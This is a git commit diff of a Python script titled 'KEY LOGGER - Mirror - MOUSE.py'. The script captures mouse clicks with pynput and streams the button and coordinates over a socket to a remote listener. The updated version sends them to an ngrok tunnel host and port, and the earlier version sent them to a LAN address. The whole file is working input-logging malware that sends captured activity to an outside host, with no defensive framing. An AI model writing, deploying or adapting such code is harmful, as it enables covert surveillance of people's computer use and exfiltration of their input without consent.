Update 'Server/KEY LOGGER - Mirror - MOUSE.py'

This commit is contained in:
zd 2020-12-10 18:04:23 +00:00
parent b475adef12
commit b044e3f787

View File

@ -1,81 +1,58 @@
import socket
import os
from pynput import keyboard
from pynput.mouse import Button, Controller
from pynput import mouse
MOUSE = Controller()
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 128 # send 4096 bytes each time step
host = "10.4.27.243"
# the ip address or hostname of the server, the receiver
# the port, let's use 10002
port = 10002
# the name of file we want to send, make sure it exists
filename = "dataM.txt"
# get the file size
filesize = os.path.getsize("dataM.txt")
# create the client socket
s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port))
print("[+] Connected.")
# send the filename and filesize
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
def sendfile():
# start sending the file
with open(filename, "rb") as f:
while True:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
s.sendall(bytes_read)
# close the socket
#s.close()
##############################################################################
def on_click(x, y, button, pressed):
print(button)
text_file = open("dataM.txt", "w")
if button == "Button.left":
text_file.write(str("R"))
else:
text_file.write(str("L"))
text_file.close()
text_file = open("dataM.txt", "a")
text_file.write(str(x))
text_file.write(",")
text_file.write(str(y))
text_file.close()
sendfile()
with mouse.Listener(
on_click = on_click) as listener:
listener.join()
###############################################################################
import socket
import os
from pynput import keyboard
from pynput.mouse import Button, Controller
from pynput import mouse
MOUSE = Controller()
dataToSend = ""
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 128 # send 4096 bytes each time step
host = "4.tcp.ngrok.io"
# the ip address or hostname of the server, the receiver
# the port, let's use 10002
port = 17058
# the name of file we want to send, make sure it exists
# get the file size
# create the client socket
s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port))
print("[+] Connected.")
# send the filename and filesize
#s.send(f"{filename}{SEPARATOR}{filesize}".encode())
##############################################################################
def on_click(x, y, button, pressed):
if button == "Button.left":
dataToSend = ("L")
else:
dataToSend = ("R")
dataToSend = dataToSend + str(x) + "," + str(y)
dataToSendBytes = dataToSend.encode()
s.sendall(dataToSendBytes)
with mouse.Listener(
on_click = on_click) as listener:
listener.join()
###############################################################################